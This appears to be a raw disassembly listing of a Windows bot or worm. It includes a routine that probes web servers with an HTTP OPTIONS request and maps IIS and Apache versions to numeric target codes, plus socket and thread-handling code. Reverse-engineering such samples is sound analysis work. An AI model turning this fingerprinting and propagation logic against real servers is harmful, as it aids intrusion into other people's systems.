		cmp	[ebp+var_24C], 0FFFFFFFFh
		jnz	short loc_412AED
		jmp	locret_412BC7
; ---------------------------------------------------------------------------


loc_412AED:				; CODE XREF: sub_412A3A+ACj
		cmp	[ebp+var_24C], 0
		jz	short loc_412B69
		and	[ebp+var_250], 0
		jmp	short loc_412B0C
; ---------------------------------------------------------------------------


loc_412AFF:				; CODE XREF: sub_412A3A:loc_412B34j
		mov	eax, [ebp+var_250]
		inc	eax
		mov	[ebp+var_250], eax


loc_412B0C:				; CODE XREF: sub_412A3A+C3j
		mov	eax, [ebp+var_250]
		cmp	eax, [ebp+var_24C]
		jnb	short loc_412B36
		mov	eax, [ebp+var_250]
		mov	eax, [ebp+eax+var_20C]
		cmp	eax, [ebp+var_222]
		jnz	short loc_412B34
		jmp	loc_412BC5
; ---------------------------------------------------------------------------


loc_412B34:				; CODE XREF: sub_412A3A+F3j
		jmp	short loc_412AFF
; ---------------------------------------------------------------------------


loc_412B36:				; CODE XREF: sub_412A3A+DEj
		push	3
		mov	eax, [ebp+var_24C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	200h
		push	0
		push	[ebp+var_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_412B7F
; ---------------------------------------------------------------------------


loc_412B69:				; CODE XREF: sub_412A3A+BAj
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_412B7F:				; CODE XREF: sub_412A3A+12Dj
		jmp	loc_412A9F
; ---------------------------------------------------------------------------


loc_412B84:				; CODE XREF: sub_412A3A:loc_412BC5j
		push	[ebp+arg_4]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412B93
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412B93:				; CODE XREF: sub_412A3A+155j
		push	offset dword_41CC40
		push	[ebp+arg_4]
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_0]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+arg_4]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412BC5:				; CODE XREF: sub_412A3A+F5j
		jmp	short loc_412B84
; ---------------------------------------------------------------------------

locret_412BC7:				; CODE XREF: sub_412A3A+72j
					; sub_412A3A+AEj ...
		leave
		retn
sub_412A3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BC9	proc near		; CODE XREF: sub_41331E+165p

var_85C		= dword	ptr -85Ch
var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= byte ptr -84Ch
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 85Ch
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404FE7
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		mov	[ebp+var_854], 3Ch
		and	[ebp+var_850], 0
		and	[ebp+var_810], 0


loc_412BFD:				; CODE XREF: sub_412BC9+A9j
		and	[ebp+var_85C], 0
		jmp	short loc_412C13
; ---------------------------------------------------------------------------


loc_412C06:				; CODE XREF: sub_412BC9:loc_412C35j
		mov	eax, [ebp+var_85C]
		inc	eax
		mov	[ebp+var_85C], eax


loc_412C13:				; CODE XREF: sub_412BC9+3Bj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnb	short loc_412C37
		mov	eax, [ebp+var_85C]
		mov	eax, [ebp+eax*4+var_80C]
		cmp	eax, [ebp+var_8]
		jnz	short loc_412C35
		jmp	short loc_412C37
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412BC9+68j
		jmp	short loc_412C06
; ---------------------------------------------------------------------------


loc_412C37:				; CODE XREF: sub_412BC9+56j
					; sub_412BC9+6Aj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnz	short loc_412C6E
		cmp	[ebp+var_810], 200h
		jnb	short loc_412C6E
		mov	eax, [ebp+var_85C]
		mov	ecx, [ebp+var_8]
		mov	[ebp+eax*4+var_80C], ecx
		mov	eax, [ebp+var_810]
		inc	eax
		mov	[ebp+var_810], eax


loc_412C6E:				; CODE XREF: sub_412BC9+7Aj
					; sub_412BC9+86j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_412BFD
		lea	eax, [ebp+var_854]
		push	eax
		push	0
		lea	eax, [ebp+var_810]
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 1
		jz	short loc_412CA5
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	locret_412D4A
; ---------------------------------------------------------------------------


loc_412CA5:				; CODE XREF: sub_412BC9+CCj
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_858], eax
		cmp	[ebp+var_858], 0
		jnz	short loc_412CD1
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CD1:				; CODE XREF: sub_412BC9+FBj
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_858]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412CF9
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CF9:				; CODE XREF: sub_412BC9+123j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412D11
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412D11:				; CODE XREF: sub_412BC9+13Bj
		push	offset dword_41CC44
		push	[ebp+var_8]
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx

locret_412D4A:				; CODE XREF: sub_412BC9+D7j
					; sub_412BC9+106j ...
		leave
		retn
sub_412BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D4C	proc near		; CODE XREF: sub_41331E:loc_413420p
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_41EAF4
		pop	ebp
		retn
sub_412D4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D56	proc near		; DATA XREF: sub_412E04+CAo

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jnz	short loc_412D8A
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412D8A:				; CODE XREF: sub_412D56+25j
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_48]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412DAE
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DAE:				; CODE XREF: sub_412D56+49j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412DC8
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DC8:				; CODE XREF: sub_412D56+63j
		push	offset dword_41CC48
		push	[ebp+var_8]
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_412E00:				; CODE XREF: sub_412D56+32j
					; sub_412D56+56j ...
		leave
		retn	4
sub_412D56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E04	proc near		; DATA XREF: sub_412F07+B0o

var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AA		= byte ptr -1AAh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B8h
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412E59
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_412F03
; ---------------------------------------------------------------------------


loc_412E59:				; CODE XREF: sub_412E04+40j
		lea	eax, [ebp+var_1B0]
		push	eax
		mov	eax, [ebp+var_1B4]
		push	dword ptr [eax]
		push	offset dword_41CC4C
		lea	eax, [ebp+var_1AA]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	offset dword_41EAF4
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_412E8F:				; CODE XREF: sub_412E04+B7j
					; sub_412E04:loc_412EEAj
		mov	eax, [ebp+var_1B4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_412E9D
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412E9D:				; CODE XREF: sub_412E04+95j
		push	3E8h
		push	[ebp+var_4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1B8], eax
		cmp	[ebp+var_1B8], 0FFFFFFFFh
		jnz	short loc_412EBD
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EBD:				; CODE XREF: sub_412E04+B5j
		cmp	[ebp+var_1B8], 0
		jnz	short loc_412EC8
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412EC8:				; CODE XREF: sub_412E04+C0j
		push	[ebp+var_1B8]
		push	offset sub_412D56
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412EEA
		push	[ebp+var_1B8]
		call	sub_4053B1
		pop	ecx


loc_412EEA:				; CODE XREF: sub_412E04+D8j
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EEC:				; CODE XREF: sub_412E04+97j
					; sub_412E04+C2j
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_412F03:				; CODE XREF: sub_412E04+50j
		leave
		retn	4
sub_412E04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F07	proc near		; CODE XREF: sub_40A9CF+F6Ep
					; sub_41349C+2C7p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_412F26
		jmp	locret_412FC4
; ---------------------------------------------------------------------------


loc_412F26:				; CODE XREF: sub_412F07+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_412F3A
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		jmp	short loc_412F4E
; ---------------------------------------------------------------------------


loc_412F3A:				; CODE XREF: sub_412F07+23j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax


loc_412F4E:				; CODE XREF: sub_412F07+31j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_412F63
		cmp	[ebp+var_4], 0FFFFh
		jbe	short loc_412F77


loc_412F63:				; CODE XREF: sub_412F07+51j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax


loc_412F77:				; CODE XREF: sub_412F07+5Aj
		push	0Ah
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	[ebp+var_4]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		push	offset dword_41CC84
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_412E04
		call	sub_4095A4
		add	esp, 14h

locret_412FC4:				; CODE XREF: sub_412F07+1Aj
		leave
		retn
sub_412F07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412FC6	proc near		; CODE XREF: .data:004168CBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD1:				; CODE XREF: sub_412FC6:loc_413088j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_412FD8:				; CODE XREF: sub_412FC6+9j
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	off_41CCD6[eax], 0
		jz	locret_41308D
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	ecx, dword_41CCCE[ecx]
		and	ecx, 0FFh
		mov	eax, off_41CCD6[eax]
		sub	eax, ecx
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	off_41CCD6[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		and	dword_41CCD2[eax], 0


loc_413024:				; CODE XREF: sub_412FC6+7Ej
					; sub_412FC6+BEj
		call	sub_410422
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	dword_41CCCE[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	dword_41CCCE[eax], 0
		jnz	short loc_413046
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413046:				; CODE XREF: sub_412FC6+7Cj
		and	[ebp+var_8], 0
		jmp	short loc_413053
; ---------------------------------------------------------------------------


loc_41304C:				; CODE XREF: sub_412FC6:loc_413086j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_413053:				; CODE XREF: sub_412FC6+84j
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CCD6[eax], 0
		jz	short loc_413088
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jz	short loc_413086
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_8]
		imul	ecx, 3Ah
		mov	eax, dword_41CCCE[eax]
		cmp	eax, dword_41CCCE[ecx]
		jnz	short loc_413086
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413086:				; CODE XREF: sub_412FC6+A2j
					; sub_412FC6+BCj
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413088:				; CODE XREF: sub_412FC6+9Aj
		jmp	loc_412FD1
; ---------------------------------------------------------------------------

locret_41308D:				; CODE XREF: sub_412FC6+1Fj
		leave
		retn
sub_412FC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41308F	proc near		; CODE XREF: sub_41331E+72p

var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= byte ptr -810h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 820h
		push	16h
		push	offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4130C4
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130C4:				; CODE XREF: sub_41308F+2Cj
		push	0
		push	800h
		lea	eax, [ebp+var_810]
		push	eax
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4130F3
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4130F3
		cmp	[ebp+var_8], 800h
		jnz	short loc_4130FA


loc_4130F3:				; CODE XREF: sub_41308F+53j
					; sub_41308F+59j
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130FA:				; CODE XREF: sub_41308F+62j
		mov	eax, [ebp+var_8]
		and	[ebp+eax+var_810], 0
		and	[ebp+var_4], 0
		push	offset aServer	; "Server:"
		lea	eax, [ebp+var_810]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_41312C
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41312C:				; CODE XREF: sub_41308F+94j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+var_10]
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413150
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413150:				; CODE XREF: sub_41308F+B8j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413173
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413173:				; CODE XREF: sub_41308F+DBj
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		push	0Dh
		push	offset aMicrosoftIis ; "Microsoft-IIS"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41323C
		and	[ebp+var_818], 0
		and	[ebp+var_814], 0
		lea	eax, [ebp+var_814]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		push	offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 10h
		cmp	[ebp+var_818], 4
		jnz	short loc_4131E9
		cmp	[ebp+var_814], 0
		jnz	short loc_4131E9
		push	4
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4131E9:				; CODE XREF: sub_41308F+147j
					; sub_41308F+150j
		cmp	[ebp+var_818], 5
		jnz	short loc_413203
		cmp	[ebp+var_814], 0
		jnz	short loc_413203
		push	3
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413203:				; CODE XREF: sub_41308F+161j
					; sub_41308F+16Aj
		cmp	[ebp+var_818], 5
		jnz	short loc_41321D
		cmp	[ebp+var_814], 5
		jnz	short loc_41321D
		push	2
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41321D:				; CODE XREF: sub_41308F+17Bj
					; sub_41308F+184j
		cmp	[ebp+var_818], 6
		jnz	short loc_413237
		cmp	[ebp+var_814], 0
		jnz	short loc_413237
		push	1
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413237:				; CODE XREF: sub_41308F+195j
					; sub_41308F+19Ej
		jmp	loc_41331A
; ---------------------------------------------------------------------------


loc_41323C:				; CODE XREF: sub_41308F+10Ej
		cmp	[ebp+var_C], 0
		jz	loc_41331A
		push	6
		push	offset aApache	; "Apache"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41331A
		and	[ebp+var_820], 0
		lea	eax, [ebp+var_820]
		push	eax
		push	offset dword_41CD68
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		push	6
		push	offset dword_41CD60
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_81C], eax
		cmp	[ebp+var_81C], 1
		jnz	short loc_4132BE
		push	7
		push	offset dword_41CD58
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4132BE
		xor	eax, eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132BE:				; CODE XREF: sub_41308F+213j
					; sub_41308F+229j
		cmp	[ebp+var_820], 1
		jnz	short loc_4132D5
		cmp	[ebp+var_81C], 0
		jz	short loc_4132D5
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132D5:				; CODE XREF: sub_41308F+236j
					; sub_41308F+23Fj
		cmp	[ebp+var_820], 1
		jnz	short loc_4132EC
		cmp	[ebp+var_81C], 0
		jnz	short loc_4132EC
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132EC:				; CODE XREF: sub_41308F+24Dj
					; sub_41308F+256j
		cmp	[ebp+var_820], 2
		jnz	short loc_413303
		cmp	[ebp+var_81C], 0
		jz	short loc_413303
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_413303:				; CODE XREF: sub_41308F+264j
					; sub_41308F+26Dj
		cmp	[ebp+var_820], 2
		jnz	short loc_41331A
		cmp	[ebp+var_81C], 0
		jnz	short loc_41331A
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_41331A:				; CODE XREF: sub_41308F:loc_413237j
					; sub_41308F+1B1j ...
		xor	eax, eax

locret_41331C:				; CODE XREF: sub_41308F+30j
					; sub_41308F+66j ...
		leave
		retn
sub_41308F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41331E	proc near		; DATA XREF: sub_41349C+4EBo
					; sub_413CB3+27Co

var_14C		= dword	ptr -14Ch
var_11A		= dword	ptr -11Ah
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= byte ptr -10Ah
var_8A		= dword	ptr -8Ah
var_86		= byte ptr -86h
var_6		= byte ptr -6
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	14Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		push	[ebp+var_10E]
		call	sub_404457
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_10A]
		push	eax
		push	[ebp+var_10E]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413381
		push	[ebp+var_10E]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_413381:				; CODE XREF: sub_41331E+4Ej
		cmp	[ebp+var_112], 0
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_41308F
		pop	ecx
		cmp	[ebp+var_112], eax
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_4133B1:				; CODE XREF: sub_41331E+6Aj
					; sub_41331E+7Ej
		cmp	[ebp+var_8A], 1
		jnz	short loc_4133E0
		lea	eax, [ebp+var_6]
		push	eax
		push	[ebp+var_10E]
		call	sub_404552
		pop	ecx
		pop	ecx
		push	offset dword_41EF18
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_4133E0:				; CODE XREF: sub_41331E+9Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_413420
		push	0Ah
		lea	eax, [ebp+var_6]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_10A]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_413420:				; CODE XREF: sub_41331E+C9j
		call	sub_412D4C
		push	eax
		lea	eax, [ebp+var_6]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41EF18
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_413444:				; CODE XREF: sub_41331E+C0j
					; sub_41331E+100j
		lea	eax, [ebp+var_14C]
		push	eax
		call	[ebp+var_11A]
		cmp	[ebp+var_8A], 1
		jnz	short loc_41346F
		push	[ebp+var_10E]
		push	[ebp+var_14C]
		call	sub_412A3A
		pop	ecx
		pop	ecx
		jmp	short loc_41348A
; ---------------------------------------------------------------------------


loc_41346F:				; CODE XREF: sub_41331E+13Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_41348A
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_412BC9
		pop	ecx
		pop	ecx


loc_41348A:				; CODE XREF: sub_41331E+14Fj
					; sub_41331E+158j
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_413498:				; CODE XREF: sub_41331E+5Ej
					; sub_41331E+8Ej
		leave
		retn	4
sub_41331E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41349C	proc near		; DATA XREF: sub_413AB0+1F4o

var_774		= qword	ptr -774h
var_764		= qword	ptr -764h
var_75C		= byte ptr -75Ch
var_65C		= byte ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_64C		= byte ptr -64Ch
var_648		= byte ptr -648h
var_644		= dword	ptr -644h
var_640		= byte ptr -640h
var_62C		= dword	ptr -62Ch
var_628		= dword	ptr -628h
var_624		= byte ptr -624h
var_51C		= byte ptr -51Ch
var_50E		= dword	ptr -50Eh
var_50A		= dword	ptr -50Ah
var_506		= dword	ptr -506h
var_502		= byte ptr -502h
var_37B		= byte ptr -37Bh
var_37A		= byte ptr -37Ah
var_377		= byte ptr -377h
var_36B		= byte ptr -36Bh
var_36A		= byte ptr -36Ah
var_35C		= dword	ptr -35Ch
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_341		= byte ptr -341h
var_296		= dword	ptr -296h
var_20C		= byte ptr -20Ch
var_20B		= byte ptr -20Bh
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	edi
		push	2C9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4134F5
		push	14Ch
		push	0
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4135BF
; ---------------------------------------------------------------------------


loc_4134F5:				; CODE XREF: sub_41349C+3Cj
		and	[ebp+var_62C], 0
		jmp	short loc_41350B
; ---------------------------------------------------------------------------


loc_4134FE:				; CODE XREF: sub_41349C:loc_4135BAj
		mov	eax, [ebp+var_62C]
		inc	eax
		mov	[ebp+var_62C], eax


loc_41350B:				; CODE XREF: sub_41349C+60j
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4105FB
